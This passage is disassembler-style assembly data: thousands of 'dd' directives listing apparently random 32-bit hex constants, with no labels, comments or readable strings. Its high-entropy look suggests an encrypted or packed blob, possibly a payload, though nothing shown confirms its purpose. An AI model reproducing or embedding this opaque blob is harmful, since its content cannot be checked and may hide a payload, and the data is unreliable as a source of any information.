		dd 0E09920A7h, 0C28012FAh, 1CD9F33Fh, 0D01D882Ch, 6FF24F7Ah
		dd 0F16CFDD3h, 1D042F83h, 16A1C9BCh, 0BFBA99Bh,	0FDEBA59Dh
		dd 12136BCCh, 0B614CE2Dh, 0CDA469AAh, 0D4B832E6h, 0DFBE13E1h
		dd 2D922BA8h, 0D4643F27h, 5F2501B8h, 9CDFF8C2h,	8401F7FDh
		dd 2B982E38h, 40E74FAEh, 0BDF79DBDh, 0F02C2934h, 902645Eh
		dd 4053784Ch, 30587E7Bh, 610C2CFFh, 42093F4Dh, 0CBCFBCE9h
		dd 8253139Ch, 7886B2E8h, 0B0FEC32Eh, 0CC379983h, 0B40AD10Bh
		dd 968D443Fh, 0CF14BC9Bh, 9429D3D2h, 0C6DD983Bh, 0D2024CE0h
		dd 0E9EE0111h, 0BBDDC818h, 5A7C1E8Ch, 60266Ah, 20BA58A6h
		dd 0FCC8D801h, 0E7C1062Eh, 18FEDE04h, 0B578020h, 9A6CCB75h
		dd 9AA0A81h, 0CF82701Eh, 880CBB8h, 0B6090559h, 787AB842h
		dd 0FF078120h, 0F25AAD63h, 726500FCh, 0CA813D7Ch, 315F24D2h
		dd 533409B0h, 0C97D272Fh, 0F4F9BD0Dh, 0D173424Bh, 460D096Bh
		dd 659F3F94h, 70DE267Dh, 60C0F2DBh, 0AC4E76BFh,	0B6A2F479h
		dd 0A8F61703h, 26053D90h, 6882044Dh, 8218164Fh,	0BD25DEEh
		dd 3A8026E2h, 7E791A6Ch, 665BC09Fh, 0E91B135Dh,	0C729A485h
		dd 0CC3C3916h, 9DB21004h, 0E9D230ECh, 985A7CBDh, 944FE7E2h
		dd 0E8980097h, 0B84BDB07h, 310BEC61h, 95305AD0h, 0B05914C2h
		dd 0F23FEC1Dh, 9FF6AA8h, 0D8ECE9DAh, 965CFAC8h,	89AE8C0Dh
		dd 2D38FCF8h, 80CC6F4Ch, 284CC96Ch, 9BA37709h, 9C5E8ABAh
		dd 0C3CAFE42h, 54EAF041h, 0A6B4B430h, 4AE22FEh,	124DECB9h
		dd 8A00EB1Fh, 831C02F1h, 0BAE92D0Ah, 0D299CE63h, 50EF055h
		dd 0FB528016h, 5F041EB8h, 822EBAF0h, 0F665C503h, 607E78Ch
		dd 13D5B006h, 0BDBAC2E9h, 1BB20458h, 68D4D128h,	20BD49A8h
		dd 842F2D9h, 0C027486Eh, 0D680A7E2h, 7BF0C61h, 0C205D170h
		dd 0E9D32780h, 958EB20Ch, 473B0F53h, 9218F24Fh,	0BA74FAB9h
		dd 0FB50581Ah, 5EAA0D85h, 0DB750B29h, 708AEF10h, 5D122D1Fh
		dd 74B96A09h, 0D6BABBB4h, 29439A04h, 4B5487F9h,	7641ABB1h
		dd 0D28B483Ch, 49E9E1E0h, 0C74BB76Ch, 0A0B785D9h, 6EE768F4h
		dd 2A30E68Dh, 922A58E4h, 0C84821D2h, 44AB0592h,	12A174F0h
		dd 4BE2DFC0h, 35610054h, 2FA622D5h, 878E0C1h, 8F262801h
		dd 58C589BFh, 0E5DA007Bh, 7A6425Dh, 0DA09F5ECh,	8E14FA60h
		dd 0EFFE22DBh, 5BBF78EBh, 80E1D85Fh, 4F95B152h,	0C614F8F5h
		dd 58882BBAh, 2C11669h,	9A6704D8h, 0B0B9023Dh, 5306A729h
		dd 1693B086h, 2DDB5252h, 0F817A92h, 4A3503E0h, 0D42385E7h
		dd 510D7F7h, 4012FFEBh,	0A9A21BFCh, 5B0B82D4h, 68DD815Fh
		dd 643C7E27h, 0D1002BDAh, 5A0288CAh, 9646E919h,	56E15487h
		dd 15D868D1h, 985E7808h, 0F723EA8h, 1EC15B12h, 4F24F65h
		dd 525E1F43h, 468D01BDh, 0E710213Eh, 78BF6FAh, 0F21F3273h
		dd 720347EEh, 283EA15Ah, 7B06762Ah, 0D1411AEAh,	17C22A1Ah
		dd 0AE5E0805h, 0AB922h,	7463C8B9h, 39BE0C00h, 1F38B9Ch
		dd 2E919CEh, 7F29CCC4h,	4E9EAD40h, 128734A8h, 8047E9EFh
		dd 80B0B3D7h, 0D84CC32Fh
		dd 0E11E90CAh, 25C5D1C3h, 0CB82EDF4h, 50854920h, 0C372BFC6h
		dd 0B607501Bh, 50D449EAh, 45C44B53h, 0E1F8E9E0h, 0E4932B55h
		dd 0AD8B3F22h, 0E9F4CE12h, 0C3E73092h, 1E07EDC0h, 0CCFACD80h
		dd 0BE541838h, 0D3277A0Bh, 0A0AA0E05h, 0F7282E12h, 4004D6D9h
		dd 0E05DFD1Dh, 1C4810E9h, 2D028026h, 4A262B0Bh,	0FBAE8069h
		dd 0E93E220Eh, 9D55C120h, 7383894Eh, 0E65FCFECh, 3E5C48F5h
		dd 0E93389E3h, 59AAA694h, 906813D3h, 650F603Eh,	78B01A07h
		dd 0F1017625h, 42FBA569h, 0C81F0BC9h, 0D3BC5D4Ch, 7B73F166h
		dd 94D6BC8Ch, 3368054Ah, 13C5E05h, 6281756h, 4C276C5Fh
		dd 3EFB0477h, 0A4843F3Ah, 7AFC3DE5h, 68381203h,	1D73C429h
		dd 0AD914B08h, 0BBF94AFh, 7B1093C4h, 793B7480h,	5C33BE6h
		dd 125326Ch, 86510AEh, 0E9525F06h, 0B31FD390h, 0BFFCD01Dh
		dd 0FAF35B4Fh, 9C790C93h, 890BEB65h, 5361F07Ah,	0CE9B095Dh
		dd 173EA065h, 9ED7F171h, 54DE7072h, 6CC56084h, 2DB3503Dh
		dd 252D5F16h, 0C6E1B020h, 8F29E92Dh, 4554A295h,	64FB5443h
		dd 0B52E92EEh, 0C05C9E61h, 109D2CE8h, 9E78E9E1h, 0DC8439A1h
		dd 0FE4A5014h, 162CBE04h, 0EE020214h, 24F0666h,	6DA04A43h
		dd 217C19CAh, 0F5D4Ch, 272C6301h, 3D5EF389h, 0FF2E3D1h
		dd 2E5657FAh, 0E810EB0Ch, 3ABA431Fh, 2A9FF380h,	2D0BDCh
		dd 59C65CB0h, 4F69FD05h, 0D829411Fh, 0E9250728h, 4CD98B4Ch
		dd 3BFBA1E5h, 0FC750693h, 0BA6275Dh, 0E5DF5E15h, 0C5FDE25Dh
		dd 41EBCABCh, 0BF754C16h, 64A2306Fh, 79E33112h,	89DC13h
		dd 0FAAE2F41h, 1A45FF05h, 23B82C42h, 0BD5609C0h, 0F07F016Bh
		dd 3913F45Ah, 0D202238Dh, 6111C25Ah, 5B00B6E8h,	0AE5EB551h
		dd 382173B1h, 0B0666B70h, 417D243Dh, 569FC0D6h,	0CCC0771Ah
		dd 94B1E0FAh, 0C0D95EE9h, 6E055FBBh, 39B0461Eh,	5A90BDD3h
		dd 3B7326F5h, 0CD027E02h, 6787553h, 7A072CDCh, 0F197FFFh
		dd 95EC3326h, 0E1691A9Eh, 3D385CC0h, 0D68079BCh, 817A8011h
		dd 131209E2h, 0C00664Fh, 3B34DB2h, 0C5EA0125h, 32328D2h
		dd 1CAE07C1h, 0C6F2D601h, 9E5A0887h, 21712F2h, 6350319Ch
		dd 0DC6A2C41h, 8BB77D6Bh, 9FF096Fh, 0E76D8215h,	0C696198h
		dd 0E8D916A5h, 8DE1CB03h, 0EC90059Ah, 0F235EE14h, 0B9660BE8h
		dd 62A45602h, 90D50C53h, 0D2321697h, 592C16CCh,	38450CA9h
		dd 0F868173Ch, 1E89AC5Eh, 9A82AD1Ah, 804C9D20h,	72586FBDh
		dd 0EDC10B04h, 826F8E04h, 816BB96Eh, 880620B7h,	345B925Ah
		dd 12A6E957h, 13408A1h,	46F4C002h, 62794074h, 0AFA4BD0Dh
		dd 0F1B3B52Ch, 885A6425h, 0CE59CC32h, 0B6EFAF1h, 111061EDh
		dd 1F6F9903h, 8FEEC735h, 0A1DD2AA2h, 206A1149h,	0C010993Dh
		dd 0C1BA028Dh, 400ED72Fh, 2E7AADA6h, 31B4A42h, 0B860D84h
		dd 240B870h, 95EC7880h,	0F2B04FE3h, 30ECD0C5h, 40E9C217h
		dd 0DE01C541h, 2861295Bh, 602E7561h, 0EB0558C9h, 4D5C0D72h
		dd 129F1C23h, 81E174D7h, 0E9A30343h, 0D820278Fh, 0CF6897AFh
		dd 4582F838h, 62F12C0Ch, 0BB002506h, 14F914D5h,	0FDD3F712h
		dd 2E11F4Ah, 1F9E5813h,	0B8072275h, 0F8290223h,	0C510E1h
		dd 5805CB81h, 0D948484Eh, 0F7C02E3Eh, 205ADA4Ch, 15916C6h
		dd 3063ECDFh, 31FD6195h, 6F09E067h, 4EDBF0D9h, 0A57DFC99h
		dd 4EBCD818h, 2F4EF750h, 160F785Ch, 612FD668h, 0AD8CED07h
		dd 0B096405Ch, 32F195A8h, 0E03EC980h, 9C886837h, 3FE90B5Eh
		dd 55526860h, 0B8805A5Bh, 4A075F6h, 0E9D5316Ch,	6851D02Fh
		dd 0E69D3D1Dh, 4F3A0918h, 40804EB7h, 63953BF6h,	61342E9Fh
		dd 36AF5193h, 0FA616860h, 0E92A0986h, 5D65208Ah, 0B726E3A6h
		dd 171C5E4Bh, 20BA813Ch, 42827BC1h, 384EF059h, 0E33097B4h
		dd 0FCCB8016h, 0E02813B0h, 0F1F2A408h, 56F6BA25h, 28F303A1h
		dd 223B59CBh, 0B8A14BC9h, 59AD06D6h, 312E7F2Dh,	36205150h
		dd 58321729h, 12481760h, 1E61AAFAh, 58022D81h, 2545562h
		dd 535B026Fh, 3F127557h, 7D3F537Bh, 51814AE4h, 177AB5D9h
		dd 0F8BD98ACh, 7CC0C882h, 2D54829Fh, 0B79FC669h, 0BBA14D60h
		dd 5140B6B6h, 3B25250h,	80EAD057h, 0E298CECAh, 0C248FE3Ch
		dd 0D7B424C8h, 3D84CC13h, 11022AEh, 20298540h, 0DE7B1ABFh
		dd 0BFC5A57Bh, 0BB917B27h, 0BE1930B6h, 2D16C497h, 3CA934C1h
		dd 21451E02h, 0C214B754h, 378E4008h, 0FD64A855h, 0EDE62AC6h
		dd 0BC50F194h, 82F341A3h, 1FF23F5Ch, 860F7F0Dh,	1DE118D7h
		dd 91821CEh, 8F56732Eh,	0F0106432h, 7F182F0h, 0BDA11AEAh
		dd 6B66C331h, 4340BF0Dh, 1F90016Eh, 60558734h, 3C1E2091h
		dd 0EA17764Ah, 4A56DEB0h, 84B8E9FEh, 0C0162129h, 0EC886413h
		dd 0C4D4F680h, 0FFB00EF0h, 72F00929h, 523594BBh, 0C92841FEh
		dd 1842BF20h, 2B8DC8E9h, 10B502ECh, 0B207CBBh, 0EDFE9EAh
		dd 0E1FCFE2Bh, 0D46E580Bh, 70D1C91Fh, 74DC72C1h, 4B2FC7F9h
		dd 0E47E4F9Fh, 0E9030630h, 25009654h, 0E8A43F71h, 0E9E7A127h
		dd 0D16B8AA2h, 3DB908E2h, 3737DFB0h, 4C1495F2h,	0E2B62739h
		dd 6F2062CCh, 0F12812B5h, 3E98F85Ah, 139D7DEBh,	90B28F14h
		dd 0F0C78923h, 0A4E0836h, 5D02A43Eh, 559C7EE9h,	0DF9C19E6h
		dd 16164089h, 9A4D333h,	936639D4h, 55E4B00h, 31C4356Ch
		dd 5023182Bh, 255850F7h, 3913DC70h, 59E84074h, 0F8A254B2h
		dd 71FCF301h, 69667E69h, 253BFCDBh, 550491F9h, 92C8E2Bh
		dd 90A30DE9h, 0F05EA25h, 0FE2978CEh, 3A7E55A9h,	97C8F097h
		dd 12B95839h, 9D3F03D6h, 1CE60B5Dh, 806AC945h, 0A83BFD58h
		dd 962D7B7Dh, 843044A7h, 0C36813E3h, 8473C92Ch,	0DF8E9F8h
		dd 4C0F4B4h, 1197472h, 480810F9h, 50B260ADh, 0EF5ED05Fh
		dd 3B48EF79h, 0ABEAC44Ah, 0E1ECD18Dh, 24DABAD9h, 52655934h
		dd 80258C1Bh, 0EBE3180Ah, 2FBD1316h, 0D9619131h, 44D826A2h
		dd 5B2A68AFh, 0E92F1D69h, 0D1806041h, 598299E6h, 17133AC4h
		dd 0F24B488Ah, 67762452h, 5149BA6h, 607E0BBFh, 0E69502E0h
		dd 42AF5622h, 0BA515455h, 0B8427568h, 97350041h, 10752847h
		dd 0A61E1A02h, 7C012D6Ch, 3774195h, 0CD8E20ADh,	0D321780Ch
		dd 9008841Ah, 0C0609A0h, 0C004761Fh, 8F38FF44h,	0BA81FF73h
		dd 1D2934B9h, 0D6D0606Eh, 5CC14180h, 97A03E1h, 4EF9E7EEh
		dd 67099256h, 0CD7E7C0Bh, 0D6F22ACEh, 29D25CE1h, 88791047h
		dd 5809E84Ch, 8451DC30h, 3B18E4A4h, 16AEC253h, 863567Bh
		dd 680BB303h, 0A244708Eh, 591555E6h, 9FBCE90Ah,	9CB14EA5h
		dd 93310D0h, 72A0D8E9h,	0A0555B0Eh, 0F3BECE27h,	0C08DB440h
		dd 310273E4h, 800D08ECh, 1BB760F4h, 8835B792h, 4BFACF0Bh
		dd 34ABB827h, 0E9F057D4h, 75B25E4Ch, 0AD31EFAFh, 8FA687DEh
		dd 370D0077h, 35724567h, 8029821Dh, 0FCA47ADh, 0B4D266E9h
		dd 4079590Dh, 0F1C4D72Fh, 5DF0BC79h, 0E64A7537h, 1F7E1208h
		dd 580C70EAh, 184A0368h, 0B5FBD38Ch, 36F4C509h,	0A86C1A59h
		dd 87228458h, 9BF5C15Eh, 49475CCEh, 13935B04h, 0E81309F6h
		dd 0A61E215Dh, 7E8205DEh, 0B8AEA0B0h, 2F819BEh,	68D9BF59h
		dd 7342DE76h, 12BC0171h, 43F904D4h, 3CB5A197h, 6EDB4D4h
		dd 4BEC6808h, 0E281E909h, 0FF12DD31h, 98FEC62Ch, 103B9581h
		dd 4620A8E7h, 0C911C9A0h, 89B9A416h, 0BE4AE60Ah, 0E3C189h
		dd 0DCEC3B3h, 303D7E2Fh, 0ED1DCB57h, 2A984505h,	0AB95A20Ah
		dd 925C601h, 0F604756Eh
		dd 0B2A0870Eh, 14D74488h, 9C05F849h, 685102ABh,	0D79841CCh
		dd 8816F3B4h, 0C00F58E1h, 0FE1A209Dh, 60E8C0C8h, 2C060605h
		dd 0C10430CEh, 0BDEB8058h, 0CB28E703h, 6DE7C75h, 18D5D1E5h
		dd 0D601F170h, 0F27A5A73h, 0F32A3C27h, 92ADBD94h, 0F6DEDF09h
		dd 0CFD5E0C4h, 0EB8E4BAEh, 0D0681EA1h, 5016675h, 2AFE2F82h
		dd 0C66E67A1h, 429813C6h, 4B242CB0h, 3D0B0F22h,	680D30D8h
		dd 8F51E706h, 2D6B8CE3h, 0A5552EF3h, 50ED9364h,	7523A089h
		dd 7202D8F7h, 4B823090h, 133DE47h, 1176C4E7h, 0EBC701Eh
		dd 3B05221Fh, 299FEF07h, 87E90651h, 0AC4A2928h,	0F70DD81Ch
		dd 200B97D6h, 2BE523A2h, 0F50B674h, 0E0C85BAFh,	854BD1ACh
		dd 0E15D88CDh, 982586E1h, 926E8A01h, 0E0BB5300h, 200414B8h
		dd 5E5BDD01h, 68B702AEh, 195527F7h, 0DD3E74B9h,	5C638DCEh
		dd 84BC14D3h, 0CA8379C2h, 0BAEAE898h, 0A7201445h, 4601AA3Dh
		dd 0C13F6B47h, 2D6A78E2h, 7FDAA9h, 0F8F9BFBAh, 6457B951h
		dd 0F743AF0Ch, 13AACD1h, 0C13ED523h, 214B02EBh,	805DD29Fh
		dd 0FE15F3D1h, 0BCF94B46h, 0EEB35E54h, 66828B91h, 0AD64BB0Fh
		dd 50BD3160h, 753929B8h, 670CB5D1h, 513668Ah, 5A074780h
		dd 42962624h, 1CDF092Ah, 0C25E2A72h, 3079A26h, 3E80F181h
		dd 4829E7F9h, 0BB848FC8h, 34EE1216h, 0ED0D844Ah, 0AEE91645h
		dd 5A2C42E0h, 0EA8D897Eh, 0CC81421Ah, 6DD295E8h, 4BEA2D06h
		dd 13727B15h, 0F4AD2BE9h, 0B4BAF9C2h, 0F20524Eh, 0B7D78957h
		dd 0EA64D58Ch, 30617601h, 0E45BE938h, 1069F79h,	46024E10h
		dd 0C3B82097h, 76F325CFh, 0CCCB0963h, 3C8F0358h, 1F40BE21h
		dd 6A8D4072h, 2C09202Eh, 6631FDE9h, 4B990049h, 0F78114ABh
		dd 0A448160Ah, 875C2441h, 67D6BD81h, 0A97424F4h, 17F50281h
		dd 1B2AA6Dh, 0B82462DEh, 0F68B52AFh, 24697CDh, 5746E295h
		dd 2B88B3C5h, 0E6810044h, 1BF85441h, 1FC3D15Bh,	451A3B1Eh
		dd 0C89DD612h, 68975970h, 11B6871h, 5B5D6E0Eh, 6E38E943h
		dd 24F61113h, 0F060914Bh, 774789D1h, 52EFD63Ch,	0E9435051h
		dd 0DCABD463h, 0E14FF718h, 53C979A6h, 75982800h, 893A7159h
		dd 0F65028CBh, 8331B000h, 42E2D14Bh, 76EA67C1h,	7D29E1CAh
		dd 0ABF2D844h, 0F35CE5EDh, 0E9F3D8F8h, 8889D92Ch, 1CDDBF01h
		dd 297119B8h, 64F25721h, 397C0B1Ah, 0B1D479D6h,	0F65E3782h
		dd 81E05D1Ch, 0F8044BD4h, 0FEE6E983h, 1484AD9h,	7D251648h
		dd 5350167Ah, 2DC24999h, 0BA4B02DBh, 0D2EA1060h, 0F8218025h
		dd 65D02397h, 0BE140013h, 5A9B0C57h, 0BD253B9h,	112A6A8h
		dd 841CEDCEh, 5ED9999Ch, 0BE08A2Fh, 0B05A7268h,	80831778h
		dd 53ABA66h, 3E6F4C35h,	0EA0A61C1h, 29F85138h, 0E95A12D5h
		dd 21D4C13Eh, 0FAB52ED3h, 1AF9B241h, 5B2930CCh,	0C09D64D8h
		dd 702F136Ch, 96A4055Bh, 0CC8E4F1Ah, 0B5F1949h,	524CB4CBh
		dd 6CC51425h, 2882BD08h, 0B8194A67h, 3412D093h,	7EED405Bh
		dd 0AA283A12h, 93FBAA33h, 87084FDFh, 0E7098BCAh, 5F7685D0h
		dd 0E9D2132Ah, 534B2E90h, 0B5B2E2h, 4C22F061h, 0F7984901h
		dd 0A1BFBECBh, 432D90B4h, 3FEEF730h, 472A4E07h,	54ED9FF0h
		dd 902F325h, 0E9198243h, 0ECFA485Eh, 384D36EFh,	30110DAFh
		dd 0F22EBC31h, 990DE41h, 0B6525A00h, 280704A3h,	0D051F02Fh
		dd 0B4E1099Dh, 742E9D0h, 52253A2Fh, 0EF8C52B1h,	1E61D041h
		dd 1B610214h, 0EA57F603h, 0A1A07D69h, 5F282DF5h, 0EFB02F5Ah
		dd 0E0F44F10h, 5977AFB3h, 1018404Ah, 0CA0FC12h,	0CDE9EF2Eh
		dd 0D83C0175h, 29CF2653h, 27E4AD9Dh, 94CD903h, 0E8F7B20Fh
		dd 0B7081F65h, 0BBD7809Bh, 0A47D5132h, 9EAF592Fh, 0D65525AFh
		dd 2F4CE06Dh, 0ED7ABD08h, 29219806h, 9DA58C5h, 3C10191Ah
		dd 3D7E7550h, 3008C39Dh, 83F002D2h, 0CB4DDE4Fh,	3FE140F9h
		dd 5B636EB7h, 5362B4D2h, 0E358140h, 433F7BC6h, 7765F2AEh
		dd 0ABED8278h, 2974C92Eh, 708F778Ah, 0B51EB1C4h, 8DECB8Bh
		dd 0EE4DDAFAh, 0AD543B76h, 2A8720Ch, 4C423868h,	56E85E61h
		dd 7EC0F23Ch, 7EEDCCC6h, 16564E20h, 504FFD3Dh, 0CA5AA58Ah
		dd 31131DF3h, 0C46CECC0h, 4BAE8F88h, 37E2E7D4h,	7968DB40h
		dd 3BF3185Fh, 0E880885Eh, 0E00AE16Bh, 253326C9h, 0C3490607h
		dd 0F7042ADFh, 2DC2C040h, 983A43EFh, 63113146h,	90DA0C4Eh
		dd 376582B5h, 32798BA9h, 0C05BEAA7h, 82B32AD0h,	0FCC0A77h
		dd 0BE340706h, 961F201Ch, 69965550h, 682513B2h,	8A107E58h
		dd 427F9264h, 12D4807Ch, 42A6094Fh, 0CB1E56C3h,	0C7104889h
		dd 0CB9DE1F6h, 0D368A0DBh, 0E8E95F62h, 449E71CDh, 8501FD52h
		dd 4CA35AE9h, 371F3A93h, 0F117352Bh, 7225A5B0h,	33E61E24h
		dd 0CC54C948h, 524BBFCEh, 5D662902h, 870564Bh, 0D81607E7h
		dd 0F137010Bh, 526A0234h, 0AA856771h, 41AADDCh,	68322C65h
		dd 74C81A80h, 2235A4Eh,	479802D4h, 8103CFC8h, 0B0CE207h
		dd 226F511Ch, 413BAD9Ah, 8F41D69Eh, 67025EEh, 0F4295043h
		dd 76312F68h, 0EA4CE898h, 181E017h, 9DFB65E0h, 232643D3h
		dd 667F27AFh, 17C36E59h, 0BC785368h, 581ED172h,	0FBBD4A2Eh
		dd 0EEF4AFCBh, 6C7F8F42h, 0A6E7207Ah, 0F1537B9Eh, 5B02221Bh
		dd 25BC3F6h, 2DDABE40h,	0FD61687Fh, 6DB32008h, 8F881851h
		dd 0C65B1C0Ch, 90E4E25h, 0D0F4158Dh, 773A4F00h,	81987DA7h
		dd 5FC48754h, 0F360EE9Ch, 486203A5h, 0B4EF738h,	0BB98337Bh
		dd 0E3B78864h, 59D33B00h, 1E614A25h, 0D4E9E72Ch, 636B23A2h
		dd 232196Ah, 0B466B920h, 0D980AF7Eh, 4CE1254Eh,	0A8CE2934h
		dd 1590802h, 614F7EF7h,	78F329E9h, 9168C296h, 8898A25Dh
		dd 7712FD15h, 21FC4FCCh, 171CC253h, 5530380Bh, 0BC5E5456h
		dd 0EBD9C747h, 0D2E49376h, 9D39E5B4h, 0F5BD0480h, 785FDE64h
		dd 0E5309BF1h, 0C751262h, 3D261E77h, 0CA008D1h,	0EFD2D217h
		dd 125CD47Ch, 0A2E4CCE9h, 0A7F45B13h, 17AB6B11h, 2E4CB5D4h
		dd 0D88E9791h, 1A62FCD7h, 75287E57h, 0B6980634h, 5424C867h
		dd 69D57E5Bh, 47FA338Bh, 4BB7A298h, 550C01A0h, 0E9619414h
		dd 0BBCD3427h, 0DB11A112h, 92C33600h, 0C16B2C1Bh, 72D2FF2h
		dd 82122EBAh, 54F4CDD4h, 51A74C65h, 8A58E4F5h, 31B3BE5Eh
		dd 0A7E8C52Eh, 71A049B4h, 331663EDh, 0CF212947h, 0B440558h
		dd 0B0F549FBh, 0BBFDACC3h, 84346C14h, 45ADD25Ch, 0BBFA75D3h
		dd 7056D609h, 86E0B732h, 88807DA0h, 3BD0E4DAh, 0C7175B5Ah
		dd 2187A158h, 3E18EDB8h, 0B529442Ch, 92519242h,	0A885ADA4h
		dd 8E00D164h, 0C91428C7h, 0EEF7EC4Ah, 9055FE5Ah, 6FB64912h
		dd 5B2554C4h, 5D5ABA50h, 88539B8h, 62354630h, 4E3C128Ch
		dd 0F74C9055h, 7A722B65h, 89D7E917h, 54C498F8h,	0F8CFABBBh
		dd 0A9223313h, 0D69A9113h, 0DE591D04h, 8304FD14h, 0C00C3C5Eh
		dd 10CE8AFBh, 5E16774Eh, 9606ECB0h, 244B3C1Fh, 9A31BF3Ah
		dd 70112F63h, 0DEE2782Dh, 20FEA352h, 96802D0h, 69894853h
		dd 31B20449h, 20BB34EEh, 3A793FCBh, 0AF056E02h,	550B8A21h
		dd 0A150DF04h, 1B26400Bh, 2609515Eh, 720C81E9h,	0A8C52073h
		dd 80FD281Dh, 856610C9h, 4AACD4C3h, 0ACD6E9C5h,	7B694291h
		dd 16EAC635h, 0FE16DEADh, 0D6C1B82Eh, 0A78C2104h, 14C179BCh
		dd 2F3A5069h, 65EEB8C0h, 7A912E3Dh, 38FE0370h, 1803498Eh
		dd 1A40471Fh, 75C4B429h, 6E650813h, 2C546EAh, 0BB9864A5h
		dd 72F256ECh, 0BF710095h
		dd 7ACE42A7h, 5435F13h,	0AF6C0151h, 7AB1B030h, 0A8614877h
		dd 4D386C4h, 32D85854h,	7555012Dh, 0B3E923E5h, 66149307h
		dd 1A794CF8h, 602E2C0h,	0D350D605h, 0B8AA5893h,	9ABAF4E4h
		dd 37F7ED07h, 0E56776A0h, 3DC45741h, 1324F5F0h,	0BC088044h
		dd 830288B6h, 27D8E952h, 40BA0D02h, 706F7061h, 39449548h
		dd 3524C509h, 0F312A8FDh, 28E68308h, 65A01570h,	0C22DD723h
		dd 55E62421h, 0F281C889h, 3468EF1Ch, 615B7C72h,	18801693h
		dd 4D765A88h, 1A9DB5E9h, 15027572h, 7C6CAC71h, 0BB02794Fh
		dd 667EEC68h, 6B4C94E1h, 0ECC0AB04h, 97AD9293h,	0AD385062h
		dd 51B4B566h, 0EFC3C8CBh, 0E1719509h, 0BEC247A5h, 2B786D5Bh
		dd 50218F2h, 15805D11h,	9835A048h, 463F409h, 778C8901h
		dd 0E14EA812h, 0D2685701h, 5F5D1218h, 819C026Fh, 0D5E016EFh
		dd 0F526E919h, 0FA84B6B5h, 0B8C7505Bh, 5A58C361h, 4FE9DDE8h
		dd 0F81895B2h, 7C84C9FFh, 0E07413EBh, 680E0D8Eh, 84735F13h
		dd 16A22DAEh, 0A9BE5600h, 0E95B0664h, 1AF6732Dh, 7B1DFC7Ah
		dd 0BC020C22h, 91BA63D9h, 0F04C8F64h, 73C96806h, 9D61EE95h
		dd 50C5EAD9h, 0F51F2844h, 0FA06F310h, 0C133357h, 3F79B705h
		dd 0ED87456Fh, 97D74E79h, 634945A0h, 5B4B4471h,	0DA3F8ACBh
		dd 0B3A4116h, 955E39D0h, 0C64DACBBh, 0EF0BE7ACh, 7FB56484h
		dd 16134B50h, 65D6EBB9h, 5B0769A8h, 0EBD19981h,	7C08C9C1h
		dd 7D6809ECh, 4A8C9A45h, 0F9165DAFh, 0E907095h,	40E64905h
		dd 0AAE9817Fh, 40746803h, 7F0D6DBAh, 1A411530h,	32DB0848h
		dd 217631F4h, 20E5E477h, 5B7E0A8Dh, 9091C35Bh, 56918AFh
		dd 3826ABD2h, 68870C90h, 1BD76DE0h, 0AB05E3h, 0C0FD2C50h
		dd 439601B7h, 9A4223AEh, 0EC50986h, 0AD311127h,	0FA084BCAh
		dd 0B9540457h, 0E4DD1042h, 79320848h, 97286C0Bh, 88F158C5h
		dd 76D4EE31h, 0BF265C49h, 99010F07h, 43F3602Bh,	0FA4CB075h
		dd 0EC705FFh, 0CBC45048h, 4A1B5880h, 0F7600C18h, 1FD642DAh
		dd 4F9FA700h, 0B8E9D629h, 8B049E16h, 0F44CA468h, 8180B3FCh
		dd 3BC30DCEh, 0C1565AA5h, 314860F9h, 0F7898DA0h, 47C9397h
		dd 33E95FB9h, 2556ADA6h, 79128B1Dh, 0D5E9597Eh,	16F23E8Dh
		dd 384CE9A1h, 964E30A9h, 45B5846Ah, 8A527E05h, 3833A01h
		dd 3E703D3Bh, 9EA89E11h, 0C494093Ch, 5CDA7F7Ch,	789D438Ah
		dd 3CC79539h, 0BF9A7FEh, 0C9F04BA6h, 5F65AA3Dh,	0A23A972Fh
		dd 5CD9FCE1h, 315DA099h, 8F1FC03Bh, 2550F209h, 2A0093F1h
		dd 0C3813883h, 9311A99h, 2F0AE91Eh, 58C01C54h, 8053B268h
		dd 0F1600BE9h, 262DD077h, 27C62760h, 0CB686A98h, 70CD515Bh
		dd 59B995F4h, 0DA9E1B75h, 0B589F7E8h, 6045C941h, 11176A13h
		dd 5CA8599Ch, 4B055310h, 8D107F4Ah, 0EAF8692h, 0EA601867h
		dd 28122C4Ch, 4804D03Ah, 92F83A2Ch, 0C1305BEEh,	74566866h
		dd 8399144h, 0E5258CABh, 77E30C86h, 9CB0211Ah, 0B1A569B4h
		dd 2FEBAEh, 5C192523h, 350A5443h, 0BD40500Ch, 98A88213h
		dd 9B2B57CFh, 84D7E062h, 1413B331h, 6E044B61h, 0ED29D353h
		dd 69CD30DFh, 16B54BFh,	0F78127B8h, 92A54C3Fh, 73A24420h
		dd 3D2C0332h, 48048A7Eh, 0CCAA757Dh, 0B909BAF8h, 803C613Fh
		dd 0CC1660DAh, 0D14A4866h, 4B76CA1Dh, 0F58031DFh, 44D20510h
		dd 24F3E924h, 1AD16884h, 5C567EF3h, 3A293B04h, 8BD4BA77h
		dd 0F4A80817h, 0CEEE83B4h, 0F901B71Dh, 30C06BD2h, 0E7D0F797h
		dd 1FFCCE60h, 0D346988Bh, 0EE81F447h, 29245909h, 62CF0033h
		dd 0CF55B94Ch, 0D84F5F18h, 7E50EB93h, 9D05008h,	76046118h
		dd 1206AFE4h, 82C14A02h, 0E54AAC89h, 0AB71607Ah, 9684D082h
		dd 4BD1C5E1h, 98D95BF3h, 79AF360h, 0E97516D1h, 0A6CAECCBh
		dd 342A094Ch, 59DC7947h, 5DB008A0h, 0ACE96ACFh,	9EA2F1Eh
		dd 68920825h, 6BCED100h, 87A1DB13h, 0C402A8Fh, 15012699h
		dd 5BDE2621h, 0EA402553h, 0C526AFE3h, 0C225EEE7h, 69FA71FEh
		dd 0BD78DCD0h, 0EAD22726h, 6B32E50Fh, 4E476458h, 10FEBD06h
		dd 0BD4DB498h, 21DDA05Ah, 0B6669D40h, 0AEB49E36h, 62E8ADD5h
		dd 0E5022D5Bh, 0E949A023h, 3E17FC68h, 9D767D75h, 72AF3AD3h
		dd 0ACE7F470h, 0C18FA29Fh, 562C96B3h, 9242A293h, 6C2FF5A6h
		dd 200CCF5Bh, 15563EC9h, 0EB7A2368h, 0A3094416h, 8FBF8093h
		dd 0B632FE1Dh, 0D5E3038h, 651E5519h, 7F00F181h,	0CF09153Bh
		dd 24D459h, 28225548h, 0F967EEC9h, 55DE8B89h, 7E09F646h
		dd 0D51D8E0Eh, 9B58248Bh, 1D3072E7h, 0CE7A5453h, 259CD4A3h
		dd 8B6F29F9h, 0B7D7F0C9h, 2C4045EEh, 92B9EBBh, 0B4004F5Ch
		dd 0CF7F23E4h, 0EC585B90h, 0B5D9927Fh, 6DF99CAFh, 62855D69h
		dd 20C52D55h, 6880B2CFh, 0B37962D9h, 94557EEDh,	0B6045E15h
